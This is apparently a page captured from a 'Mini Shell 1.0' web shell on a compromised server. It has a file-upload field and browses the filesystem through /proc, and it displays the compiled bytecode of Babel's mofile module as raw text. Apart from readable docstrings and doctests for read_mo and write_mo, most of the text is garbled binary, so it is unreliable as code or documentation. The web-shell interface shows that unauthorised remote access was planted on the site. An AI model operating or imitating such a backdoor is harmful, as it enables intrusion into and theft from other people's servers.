HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991109/cwd/usr/lib/python3/dist-packages/babel/messages/__pycache__/
Upload File :
Current File : //proc/1991109/cwd/usr/lib/python3/dist-packages/babel/messages/__pycache__/mofile.cpython-311.pyc
�

ƪb���@�dZddlZddlZddlmZmZdZdZd�Zd	d�Z	dS)
z�
    babel.messages.mofile
    ~~~~~~~~~~~~~~~~~~~~~

    Writing of files in the ``gettext`` MO (machine object) format.

    :copyright: (c) 2013-2022 by the Babel Team.
    :license: BSD, see LICENSE for more details.
�N)�Catalog�Messagel�*l�$<c���t���i}t|dd��}|���}t|��}tj}|d|dd���d}|tkr|d|dd���\}}}	}
d	}n8|tkr|d
|dd���\}}}	}
d}ntdd|���td|��D�]�}||||	|	d
z���\}
}||
z}||||
|
d
z���\}}||z}||kr||kr|||�}|||�}ntdd|���|
dkr�dx}}|�
��D]�}|���}|s�d|vrY|�dd��\}}|����
��x}}|���||<�v|r||xxd|zz
cc<��d|vr|�d��\}}nd}d|vrN|�d��}|�d��}�jr�fd�|D��}�fd�|D��}n;�jr4|��j��}|��j��}t!|||����|<|	d
z
}	|
d
z
}
���|����_�S)aaRead a binary MO file from the given file-like object and return a
    corresponding `Catalog` object.

    :param fileobj: the file-like object to read the MO file from

    :note: The implementation of this function is heavily based on the
           ``GNUTranslations._parse`` method of the ``gettext`` module in the
           standard library.
    �name�z<IN�rz<4I�z<IIz>4Iz>IIzBad magic number�zFile is corrupt�:��
��c�D��g|]}|��j����S���decode�charset��.0�x�catalogs  ��7/usr/lib/python3/dist-packages/babel/messages/mofile.py�
<listcomp>zread_mo.<locals>.<listcomp>Ys'���>�>�>�Q�q�x�x���0�0�>�>�>�c�D��g|]}|��j����Srrrs  �rrzread_mo.<locals>.<listcomp>Zs'���@�@�@�a������1�1�@�@�@r)�context)r�getattr�read�len�struct�unpack�LE_MAGIC�BE_MAGIC�OSError�range�
splitlines�strip�split�lowerrrr�items�mime_headers)�fileobj�headers�filename�buf�buflenr"�magic�version�msgcount�origidx�transidx�ii�i�mlen�moff�mend�tlen�toff�tend�msg�tmsg�lastkey�key�item�value�ctxtrs                          @r�read_morFsR����i�i�G��G��w���+�+�H�
�,�,�.�.�C�
��X�X�F�
�]�F�
�F�4��R�a�R��!�!�!�$�E�����/5�v�e�S��2��Y�/G�/G�,���7�H�
���	�(�	�	�/5�v�e�S��2��Y�/G�/G�,���7�H�
����a�+�X�6�6�6��1�h�
�
�-�-���V�B��G�G�a�K�$7� 8�9�9�
��d��d�{���V�B��H�X��\�$9� :�;�;�
��d��d�{���&�=�=�T�F�]�]��d�4�i�.�C��t�D�y�>�D�D��!�.��9�9�9��1�9�9� � �G�c����)�)�	
5�	
5���z�z�|�|������4�<�<�!%���D�!�!4�!4�J�C��$'�I�I�K�K�$5�$5�$7�$7�7�G�c�#(�;�;�=�=�G�C�L�L��5��G�$�$�$����4�$�$�$���c�>�>��	�	�'�*�*�I�D�#�#��D��c�>�>��)�)�G�$�$�C��:�:�g�&�&�D���
A�>�>�>�>�#�>�>�>��@�@�@�@�4�@�@�@�����
4��j�j���1�1���{�{�7�?�3�3���s�D�$�7�7�7����	�1����A�
���"�=�=�?�?�G���NrFc
�|���t���}�fd�|dd�D��|dd�<|���dx}}g}|D�]�}|jr�d��fd�|jD����}g}	t|j��D]X\}
}|s<|	�|jtt|
��d�����C|	�|���Yd��fd�|	D����}n>|j�
�j��}|j�
�j��}|jr4d�|j�
�j��|g��}|�t|��t|��t|��t|��f��||dzz
}||dzz
}���d	d
t|��zz}
|
t|��z}g}g}|D]\}}}}||||
zgz
}||||zgz
}�||z}|�tjdt"dt|��d	d	t|��d
zzdd��t$j�t%jd|����z|z|z��dS)a�Write a catalog to the specified file-like object using the GNU MO file
    format.

    >>> import sys
    >>> from babel.messages import Catalog
    >>> from gettext import GNUTranslations
    >>> from io import BytesIO

    >>> catalog = Catalog(locale='en_US')
    >>> catalog.add('foo', 'Voh')
    <Message ...>
    >>> catalog.add((u'bar', u'baz'), (u'Bahr', u'Batz'))
    <Message ...>
    >>> catalog.add('fuz', 'Futz', flags=['fuzzy'])
    <Message ...>
    >>> catalog.add('Fizz', '')
    <Message ...>
    >>> catalog.add(('Fuzz', 'Fuzzes'), ('', ''))
    <Message ...>
    >>> buf = BytesIO()

    >>> write_mo(buf, catalog)
    >>> x = buf.seek(0)
    >>> translations = GNUTranslations(fp=buf)
    >>> if sys.version_info[0] >= 3:
    ...     translations.ugettext = translations.gettext
    ...     translations.ungettext = translations.ngettext
    >>> translations.ugettext('foo')
    u'Voh'
    >>> translations.ungettext('bar', 'baz', 1)
    u'Bahr'
    >>> translations.ungettext('bar', 'baz', 2)
    u'Batz'
    >>> translations.ugettext('fuz')
    u'fuz'
    >>> translations.ugettext('Fizz')
    u'Fizz'
    >>> translations.ugettext('Fuzz')
    u'Fuzz'
    >>> translations.ugettext('Fuzzes')
    u'Fuzzes'

    :param fileobj: the file-like object to write to
    :param catalog: the `Catalog` instance
    :param use_fuzzy: whether translations marked as "fuzzy" should be included
                      in the output
    c�4��g|]}|j�	�s|j�|��Sr)�string�fuzzy)r�m�	use_fuzzys  �rrzwrite_mo.<locals>.<listcomp>�sJ���@�@�@�!��x�@�%.�@�67�g�@�A�@�@�@rrNrrc�D��g|]}|��j����Sr��encoder)r�msgidrs  �rrzwrite_mo.<locals>.<listcomp>�s4���"�"�"�27����W�_�-�-�"�"�"rc�D��g|]}|��j����SrrN)r�msgstrrs  �rrzwrite_mo.<locals>.<listcomp>�s4���#�#�#�39��
�
�g�o�.�.�#�#�#rr���Iiiiiiirr
r8)�list�sort�pluralizable�join�id�	enumeraterI�append�min�intrOrrr �writer!�packr#�array�tobytes)r-rrL�messages�ids�strs�offsets�messagerP�msgstrs�idxrIrR�keystart�
valuestart�koffsets�voffsets�o1�l1�o2�l2s ``                  r�write_morrisB����`�G�}�}�H�@�@�@�@�x����|�@�@�@�H�Q�R�R�L��M�M�O�O�O���C�$��G��!�!����	<��L�L�"�"�"�"�;B�:�"�"�"���E��G�(���8�8�
+�
+���V��+��N�N�7�:�c�#�c�(�(�A�.>�.>�#?�@�@�@�@��N�N�6�*�*�*�*��\�\�#�#�#�#�=D�#�#�#���F�F��J�%�%�g�o�6�6�E��^�*�*�7�?�;�;�F��?�	*��L�L�'�/�"8�"8���"I�"I�"'�")�*�*�E�����C���#�e�*�*�c�$�i�i��V���E�F�F�F��u�w������� � ����r�C��M�M�)�)�H��C��H�H�$�J��H��H�!�*�*���B��B��R��h��'�'���R��j��)�)�����!�G��M�M�&�+�i�&��!�(�m�m�#�#�c�(�m�m�a�&7�7���
 � �#(�+�"5�"5�e�k�#�w�6O�6O�"P�"P�Q�TW�W�Z^�^�_�_�_�_�_r)F)
�__doc__rar!�babel.messages.catalogrrr#r$rFrrrrr�<module>rus�����
����
�
�
�
�3�3�3�3�3�3�3�3�����Q�Q�Q�hg_�g_�g_�g_�g_�g_r